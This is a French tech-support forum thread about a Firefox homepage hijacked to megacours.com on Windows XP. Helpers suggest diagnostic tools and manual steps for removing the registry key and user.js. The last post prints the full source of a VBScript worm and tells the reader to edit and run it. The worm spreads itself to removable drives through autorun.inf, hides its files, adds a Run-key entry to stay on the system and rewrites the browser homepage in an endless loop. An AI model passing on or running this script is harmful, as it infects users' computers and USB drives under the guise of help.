Page d acceuil http://www.megacours.com/mot2.

dilaw -  
 raef_17 -
Bonsoir tout le monde
j ai un soucis sur ma page d'accueil de Fire fox , ( Win xp sp 3 ) que je n'arrive pas a la changer malgré des essais !! , apparemment c'est un virus ou un trojan mais j'arrive pas a l éradiquer et j'ai rien trouvé sur le net a propos de megacours
merci de votre aide !
A voir également:

6 réponses

Xplode Messages postés 9212 Statut Contributeur sécurité 726
 
Re,

Abandonne ZHPDiag et fait ceci :

-+-+-+-+-> RSIT <-+-+-+-+-

[x] Télécharge RSIT ( de random/random ) sur ton bureau.

[x] Lance le ( Utilisateurs de vista/seven -> Clic droit puis [Exécuter en tant qu'administrateur] )

[x] Clique sur [Continue] à l'écran disclaimer. Hijackthis va être téléchargé et tu devras accepter la license.

[x] Une fois l'analyse terminée, deux rapports s'ouvriront ( log.txt et info.txt ).

[x] Rends toi sur cjoint.

Note : Les deux fichiers sont sauvegardés dans le dossier C:\rsit.

[x] Clique sur [Choisissez un fichier] et séléctionne le fichier log.txt.

[x] Clique ensuite sur [Ouvrir] puis sur [Créer le lien cjoint].

[x] Renouvelle l'opération mais cette fois ci avec le fichier info.txt.

[x] Poste les deux liens cjoint créés dans ta prochaine réponse.

Note : un tutoriel est disponible ici.
1
raef_17
 
1-appuier sur ctr+alt+supp puis arreter le processus "wscript.exe" s'il existe.
2-appuier sur Windows+R , ecrivez regedit puis allez a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run
vous trouvez un cle nomme mozil vous le supprimez .
3-supprimer le fichier user.js dans "C:\Documents and Settings\(votre profil)\Application Data\Mozilla\Firefox\Profiles\xxxxxx.default" .
maintenant vous pouvez changer la page d'acceuil comme vous voulez
--raef--
1
Xplode Messages postés 9212 Statut Contributeur sécurité 726
 
Salut,

-+-+-+-+-> ZHPDiag <-+-+-+-+-

[x] Nous allons effectuer un diagnostic de ton ordinateur, pour ce faire, télécharge ZHPDiag ( de Nicolas Coolman ).

[x] Exécute l'installateur ( /!\ Coche la case " créer une icône sur le bureau /!\ ) puis lance le une fois l'installation terminée.

[x] Clique sur l'icône en forme de loupe en haut à gauche ( Lancer le diagnostic ).

[x] Une fois l'analyse terminée, clique sur l'icône en forme de disquette bleue puis sauvegarde le fichier sur ton bureau.

[x] Rend toi sur cjoint puis clique sur " Choisissez un fichier ".

[x] Sélectionne le fichier ZHPDiag.txt présent sur ton bureau, puis clique sur " Ouvrir ".

[x] Clique ensuite sur " Créer le lien cjoint " puis copie/colle dans ta prochaine réponse le lien créé.
0
dilaw
 
Bonjour
je n'arrive pas a lancer ZHP diag
après avoir terminé l installation je clique sur la loupe elle commence a progresser et elle s arrête a 47 %
est ce que vous avez une solution a me donner
merci de votre aide
cdt
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
nabil29
 
http://cjoint.com/?1dxoabsQTWR
http://cjoint.com/?1dxndQjy4R
0
mirak
 
bonjour vous ete victime de ce virus en VBA

tu peux changer le lien de la page ici et excuter
copier et coller dans un fichier TXT puis enregester (nom de fichier.vba)

----------------------------------------------------------------
xx=1
do while xx=1

dim fso,i,g

On Error Resume Next

dem="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\mozil"
set fso=createobject("Scripting.filesystemobject")
set wssH =createobject("Wscript.shell")
moz = wssh.ExpandEnvironmentStrings("%USERPROFILE%") & "\Application Data\Mozilla\Firefox\Profiles"
mydoc = wssh.ExpandEnvironmentStrings("%USERPROFILE%") & "\Mes documents"
Set Dossier = fso.GetFolder(moz)
set dr=fso.drives
for each i in dr
d=i.Driveletter & ":"
set g=fso.getdrive(fso.getdrivename(fso.GetAbsolutePathName(d)))

Select Case g.DriveType
Case 0: t = "Inconnu"
Case 1: t = "Amovible"
Case 2: t = "Fixe"
Case 3: t = "Rseau"
Case 4: t = "CD-ROM"
Case 5: t = "RAM Disk"
End Select
if t="Amovible" and i.isready then
file = Wscript.ScriptFullName

Set objFichier = fso.GetFile(mydoc & "\mirak.vbs")
Set objFichier1 = fso.GetFile(g &"\autorun.inf")
Set objFichier2 = fso.GetFile(g &"\moz.vbs")

objFichier.Attributes =0
objFichier1.Attributes =0
objFichier2.Attributes =0

fso.copyfile file ,g & "\" & "moz" & ".vbs" , True

set aut=fso.createtextfile (g &"\autorun.inf")
aut.WriteLine "[AutoRun]"
aut.WriteLine "open=wscript ""moz.vbs"""
aut.WriteLine "shellexecute=wscript ""moz.vbs"""
aut.WriteLine "shell\Auto\command=wscript ""moz.vbs"""
aut.WriteLine "shell=Auto"
aut.close

objFichier.Attributes =3
objFichier1.Attributes =3
objFichier2.Attributes =3

end if
next

For Each Fichier In Dossier.subfolders
if right(Fichier,7)="default" then
prof=Fichier
end if
Next

set aut=fso.createtextfile (prof &"\user.js")
aut.WriteLine "user_pref(""browser.startup.homepage"", ""http://www.megacours.com/mot2.php/"");"
aut.close

fso.copyfile file ,mydoc & "\" & "moz" & ".vbs" ,True
WSSH.regwrite dem ,mydoc & "\moz.vbs"

Wscript.sleep 60000

loop
------------------------
0